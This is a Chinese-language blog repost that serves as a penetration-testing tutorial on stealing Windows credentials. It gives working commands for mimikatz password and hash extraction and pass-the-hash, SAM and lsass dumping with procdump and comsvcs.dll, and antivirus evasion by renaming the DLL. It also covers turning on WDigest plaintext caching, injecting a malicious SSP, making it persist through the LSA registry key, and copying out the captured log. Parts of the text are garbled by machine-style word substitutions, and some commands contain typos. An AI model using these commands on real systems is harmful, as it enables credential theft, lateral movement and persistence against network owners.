密码抓取技术
密码抓取技术在内网渗透过程中,拿到机器甚至域控的密码或者hash是非常重要的,今天重要为大家介绍一下内网中密码抓取的一些技术。
密码抓取方法
使用mimikatz
提权到debug权限
privilege::debugmimikatz有非常多模块和下令,可以使用下令
sekurlsa::logonPasswords此下令是用各种方法来读取明文密码
https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215746759-1860483266.png
mimikatz常用模块和下令
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAN访问》[数据保护应用程序编程接口]
busylight: BusyLight 模块
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配贸模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acri ACR模块
version: 查看版本
exit: 退出privilege模块
privilege::debug提升为debug权限
sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
sekurlsa::msv 获取HASH(LM,NTLM)
sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg 通过tspkg读取明文密码
sekurlsa::livessp 通过livessp读取明文密码
sekurlsa::ssp 通过ssp读取明文密码
sekurlsa::logonPasswords 通过以上各种方法读取明文密码
sekurlsa::process 将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidumpfile 这个模块可以读取已经打包的内存信息
sekurlsa::pth 哈希传递
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx
sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxxprocess模块
process::list 列出进程列表
process::exports 导出进程列表
process::imports 导入列表
process::start 开始一个进程
process::stop 停止一个程序
process::suspend 冻结一个进程
process::resume 从冻结中恢复
process::run 运行一个程序
process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口通过mimikatz在线读取SAM文件
分开命令如下
privilege::debug
token::elevate
lsadump::sam
连起来
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exithttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215747443-89073830.png
通过离线读取SAM文件
离线读取的意思就是将SAM文件复制到我们自己的电脑上,然后再用工具读取,离线读取在一定程度上可以躲避杀软
先通过工具或者脚本导出SAM文件
1.通过reg下令导出
reg save hklm\sam sam.hive
reg save hklm\system syetem.hive2.使用PS脚本(Copy-VSS)
powershell-import Copy-VSS.ps1
powershell Copy-VSShttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215748094-974000774.png
然后将文件下载到当地,再进行读取
lsadump::sam /sam:sam.hive /system:system.hive可以在CS服务端里找到
https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215748342-1961081661.png
下载后再用mimikatz读取
在线读取lsass历程中的内存密码
依然使用mimikatz,这里不多叙述
离线读取lsass历程中的内存密码
离线读取重要就是如何导出文件
导出方式1:使用任务管理器
如果可以远程连接对方电脑,比如使用向日葵
https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215748669-1226343045.png
导出方式2:使用procdump导出lsass.dump文件
procdump是一个下令行实用工具,重要用途是在管理员或开发人员可用于确定峰值缘故原由的峰值期间监视CPU峰值和天生故障转储的应用步伐,因此微软的一样平常不会被杀掉。
下载地点:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
其中-acceptula是为了绕过弹窗https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215749020-1273643967.png
导出方式3:使用powershell脚本(Out-MiniDump.ps1)
powershell-import Out-MiniDump.ps1
powershell Get-Process lsass | Out-Minidumphttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215749284-1977102566.png
导出方式4:使用comsvcs.dll的导出函数MiniDump实现dump内存
comsvcs.dll是系统自带的
首先检察lsass.exe历程PID
tasklist | findstr lsass.exe使用powershell导出
rundll32 C:\windows\system32\comsvcs.dll,MiniDump PID
C:\lsass.dump fullhttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215749585-173824336.png
再对导出的文件进行读取
mimikatz.exe "sekurlsa::minidump lsass.dump" "sekurlsa::logonPasswords full"注意:此方法在导出时可能被杀软拦截,简单的绕过方法
copy一下comsvcs.dll并命名为随意名字,比方com.dll
copy C:\windows\System32\comsvcs.dll com.dll
rundll32.exe com.dll, MiniDump 508 lsass.dmp full
同时复制后的dll存放目标不要是系统的敏感目录,比如system32,否则可能被拦截
高版本密码抓取
win7,Win2008如许的机器内存中是存储明文密码的,但在2012之后的机器(win10,win8,win11,2012,2016)或者安装了KB2971997补丁,内存中就不再存储明文密码了
这里以Windowsserver2012为例
https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215749868-2071031781.png
修改wdigest注册表获取系统密码
在Windows2012系统及其以上版本,默认在内存缓存中禁止保存明文密码,攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才气乐成抓取
1.先查询是否存在该值
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredentialhttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215750166-1422796760.png
2.修改UseLogonCredential值为1,注意一定要是最高管理员权限
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /fhttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215750449-1959510285.png
3.现在内存中就可以存储明文密码了,但由于密码在内存中,需要锁屏或者注销用户然后重新登录,内存中就保留密码了
rundll32.exe user32.dll,LockWorkStation 锁屏query user 查询登录logoff ID 注销用户https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215750746-1844171485.png
乐成抓取到明文密码
内存注入SSP获取系统密码
在mimikatz中,有写好的恶意的SSP,他可以提供当地认证时对明文账号密码进行记载,我们需要将SSP注入到系统内存中,就可以获取当地的明文账号密码,由于是注入内存以是重启之后就失效了。
第一步:将SSP注入内存,有两种方式:
1.使用mimikatz:
misc::memssphttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215751013-116366983.png
2.使用PS脚本:
Import-Module .\InvokeMimikatz.ps1
Invoke-Mimikatz -Command "misc::memssp"第二步:进行锁屏等操作
等待管理员输入争取的账号密码后在C:\Windows\System32\mimilsa.log,存放精确的账号密码
https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215751327-1775937427.png
cs里面读不了mimilsa.log文件
办理方法:
可以通过筹划任务来办理
设置筹划任务把这个文件copy到桌面,或者发送到你的云上
schtasks /create /tn copy /sc onstart /tr C:\Users\Administrator\Desktop\1.bat /ru system /f
schtasks /run /i /tn "copy"
bat文件
echo copy C:\Windows\System32\mimilsa.log C:\Users\Administrator\Desktop\1.txt > 1.bathttps://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215751579-365235074.png
如许桌面就会复制出来,可以检察到明文密码
https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215751895-1334701009.png
注册表添加SSP获取系统密码
刚才讲到将SSP注入到内存中,有一个毛病就是在电脑重启之后就会失效,如果想要永久收效就需要将SSP添加到注册表中,之后系统重启就会加载SSP,如许就能获取明文账号密码
第一步:在mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到C:\Windows]System32目录下
https://img2023.cnblogs.com/blog/3587706/202504/3587706-20250409215752324-560374021.png
第二步:修改注册表,重启之后就会加载SSP
reg add HKLM\SYSTEM\CurrentContrilSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f密码将会天生在C:\Windows\System32\kiwissp.log
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]